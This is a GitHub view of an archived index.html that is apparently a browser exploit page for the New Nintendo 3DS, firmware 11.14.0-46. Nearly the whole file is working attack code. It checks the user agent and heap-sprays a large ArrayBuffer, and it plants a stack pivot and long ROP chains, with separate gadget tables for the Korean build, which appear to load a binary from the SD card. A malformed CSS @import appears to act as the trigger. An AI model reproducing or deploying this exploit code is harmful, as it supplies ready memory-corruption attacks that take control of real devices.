This repository has been archived by the owner on Aug 12, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
/
index.html
38 lines (32 loc) · 9.82 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
@import "#444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444 444444444444444444444444444444444444";
<script>
function spray(size) {
var stackpivot=0x00aca468;
var poppc=0x001e23d8;
var ua = navigator.userAgent;
if (ua.indexOf("New Nintendo 3DS") == -1 || ua.indexOf("1.11.10172") == -1){
alert("WHAT IS WRONG WITH THE ELF? Come back with a NEW 3DS on firm 11.14.0-46 and uncheck 'Request Mobile Sites'!");
window.location.href="about:blank";
}
var rop = [0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320000, 0x019314ff, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0022a5d0, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x00202a04, 0x09320000, 0x00000004, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0029c908, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x3a45c000, 0x00010000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1945c, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320000, 0x636d6473, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0022a5d0, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320004, 0x0000003a, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0022a5d0, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0031ff14, 0x00266360, 0x00000000, 0x0027f4ec, 0x001e25cc, 0x001e25cc, 0x09320000, 0x0a000000, 0x00000000, 0x00800000, 0x00000000, 0x00000000, 0x00000000, 0x00267100, 0x00000001, 0x00000000, 0x00000000, 0x00000008, 0x00000000, 0x00000000, 0x00000000, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320000, 0x00000014, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1945c, 0x00313170, 0x09320010, 0x00640073, 0x0063006d, 0x002f003a, 0x00720061, 0x0031006d, 0x00630031, 0x0064006f, 0x00000000, 0x007776cd, 0x00000000, 0x00000000, 0x00000000, 0x00313170, 0x0932002c, 0x002e0065, 0x00690062, 0x0000006e, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x007776cd, 0x00000000, 0x00000000, 0x00000000, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320040, 0x09320010, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1947c, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320000, 0x09320040, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x003298ac, 0x00266360, 0x00000000, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320000, 0x09320020, 0x3a45d000, 0x00008000, 0x00000000, 0x00000000, 0x00000000, 0x00313294, 0x00266360, 0x00000000, 0x0029b468, 0x09320000, 0x0027f4ec, 0x001e23d8, 0x001fa8c0, 0x0027f4ec, 0x001e23d8, 0x001dfbc4, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x001ef590, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x3a45d000, 0x00008000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x002a2100, 0x00313170, 0x09320010, 0x00000000, 0x001f4dec, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x001ed8c8, 0x00000000, 0x007776cd, 0x00000000, 0x00000000, 0x00000000, 0x00313170, 0x0932002c, 0x002a6b0c, 0x002a2100, 0x003298ac, 0x001ef590, 0x001f4e1c, 0x00000000, 0x00000000, 0x00000000, 0x007776cd, 0x00000000, 0x00000000, 0x00000000, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x3a45c000, 0x09320010, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1947c, 0x00313170, 0x09320010, 0x00000000, 0x00313294, 0x0032ea40, 0x0029c908, 0x00000000, 0x00000000, 0x00000048, 0x00000000, 0x007776cd, 0x00000000, 0x00000000, 0x00000000, 0x00313170, 0x0932002c, 0x00000000, 0x00000000, 0x00000000, 0x003e93d0, 0x00000114, 0x00000000, 0x00000000, 0x00000000, 0x007776cd, 0x00000000, 0x00000000, 0x00000000, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x3a45c030, 0x09320010, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1947c, 0x00313170, 0x09320010, 0x00000000, 0x3a45d000, 0x00643738, 0x00d1a074, 0x00d19bd4, 0x00d1a1e4, 0x00d19bdc, 0x00000000, 0x007776cd, 0x00000000, 0x00000000, 0x00000000, 0x00313170, 0x0932002c, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x007776cd, 0x00000000, 0x00000000, 0x00000000, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x3a45c060, 0x09320010, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1947c, 0x0027f4ec, 0x001e25cc, 0x001e25cc, 0x3a45d000, 0x3b1336e0, 0x00008000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x002a6b0c, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x00000000, 0x00000000, 0x00000000, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x3b9aca00, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x002de664, 0x0027f4ec, 0x001e23d8, 0x001e25cc, 0x09320000, 0x01808080, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0022a5d0, 0x0027f4ec, 0x001e25cc, 0x001e25cc, 0x00202a04, 0x09320000, 0x00000004, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0029c908, 0x3a45c000, 0x0fff9000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0027f4ec, 0x001e23d8, 0x005646e0, 0x70707070];
if (ua.indexOf("1.11.10172.KR") != -1){
stackpivot=0x00acb468;
poppc=0x001e22e4;
rop = [0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320000, 0x019314ff, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0022a3b4, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x00202a04, 0x09320000, 0x00000004, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0029cf48, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x3a45c000, 0x00010000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1a45c, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320000, 0x636d6473, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0022a3b4, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320004, 0x0000003a, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0022a3b4, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x003206b4, 0x00266880, 0x00000000, 0x0027fb14, 0x001e24d8, 0x001e24d8, 0x09320000, 0x0a000000, 0x00000000, 0x00800000, 0x00000000, 0x00000000, 0x00000000, 0x00267620, 0x00000001, 0x00000000, 0x00000000, 0x00000008, 0x00000000, 0x00000000, 0x00000000, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320000, 0x00000014, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1a45c, 0x003137b0, 0x09320010, 0x00640073, 0x0063006d, 0x002f003a, 0x00720061, 0x0031006d, 0x00630031, 0x0064006f, 0x00000000, 0x007786cd, 0x00000000, 0x00000000, 0x00000000, 0x003137b0, 0x0932002c, 0x002e0065, 0x00690062, 0x0000006e, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x007786cd, 0x00000000, 0x00000000, 0x00000000, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320040, 0x09320010, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1a47c, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320000, 0x09320040, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0032a04c, 0x00266880, 0x00000000, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320000, 0x09320020, 0x3a45d000, 0x00008000, 0x00000000, 0x00000000, 0x00000000, 0x003138d4, 0x00266880, 0x00000000, 0x0029baa8, 0x09320000, 0x0027fb14, 0x001e22e4, 0x001fa7b4, 0x0027fb14, 0x001e22e4, 0x001dfad0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x001ef484, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x3a45d000, 0x00008000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x002a2740, 0x003137b0, 0x09320010, 0x00000000, 0x001f4ce0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x001ed7bc, 0x00000000, 0x007786cd, 0x00000000, 0x00000000, 0x00000000, 0x003137b0, 0x0932002c, 0x002a714c, 0x002a2740, 0x0032a04c, 0x001ef484, 0x001f4d10, 0x00000000, 0x00000000, 0x00000000, 0x007786cd, 0x00000000, 0x00000000, 0x00000000, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x3a45c000, 0x09320010, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1a47c, 0x003137b0, 0x09320010, 0x00000000, 0x003138d4, 0x0032f1e0, 0x0029cf48, 0x00000000, 0x00000000, 0x00000048, 0x00000000, 0x007786cd, 0x00000000, 0x00000000, 0x00000000, 0x003137b0, 0x0932002c, 0x00000000, 0x00000000, 0x00000000, 0x003ea3d0, 0x00000114, 0x00000000, 0x00000000, 0x00000000, 0x007786cd, 0x00000000, 0x00000000, 0x00000000, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x3a45c030, 0x09320010, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1a47c, 0x003137b0, 0x09320010, 0x00000000, 0x3a45d000, 0x00644738, 0x00d1b074, 0x00d1abd4, 0x00d1b1e4, 0x00d1abdc, 0x00000000, 0x007786cd, 0x00000000, 0x00000000, 0x00000000, 0x003137b0, 0x0932002c, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x007786cd, 0x00000000, 0x00000000, 0x00000000, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x3a45c060, 0x09320010, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00d1a47c, 0x0027fb14, 0x001e24d8, 0x001e24d8, 0x3a45d000, 0x3b1336e0, 0x00008000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x002a714c, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x00000000, 0x00000000, 0x00000000, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x3b9aca00, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x002deca4, 0x0027fb14, 0x001e22e4, 0x001e24d8, 0x09320000, 0x01808080, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0022a3b4, 0x0027fb14, 0x001e24d8, 0x001e24d8, 0x00202a04, 0x09320000, 0x00000004, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0029cf48, 0x3a45c000, 0x0fff9000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0027fb14, 0x001e22e4, 0x005656e0, 0x70707070];
}
var obj= new ArrayBuffer(0x2000000);
var payload = new Uint32Array(obj);
for(var i=0; i < 0x200000/4;i++) payload[i]=0x09202204;
payload[0xbc020/4]=0x09202100;
payload[0xbc204/4]=0x09202204;
payload[0xbc220/4]=stackpivot; //stack pivot
payload[0xbc200/4]=poppc; //pc
payload[0xbc1fc/4]=0x88888888; //lr
payload[0xbc1f8/4]=0x09300000; //sp
for(var j=0; j < rop.length; j++) payload[(0x1ba000/4)+j]=rop[j]; //0x09300000
}
spray(0x2000000);
</script>
<style>
@import "index.html";
</style>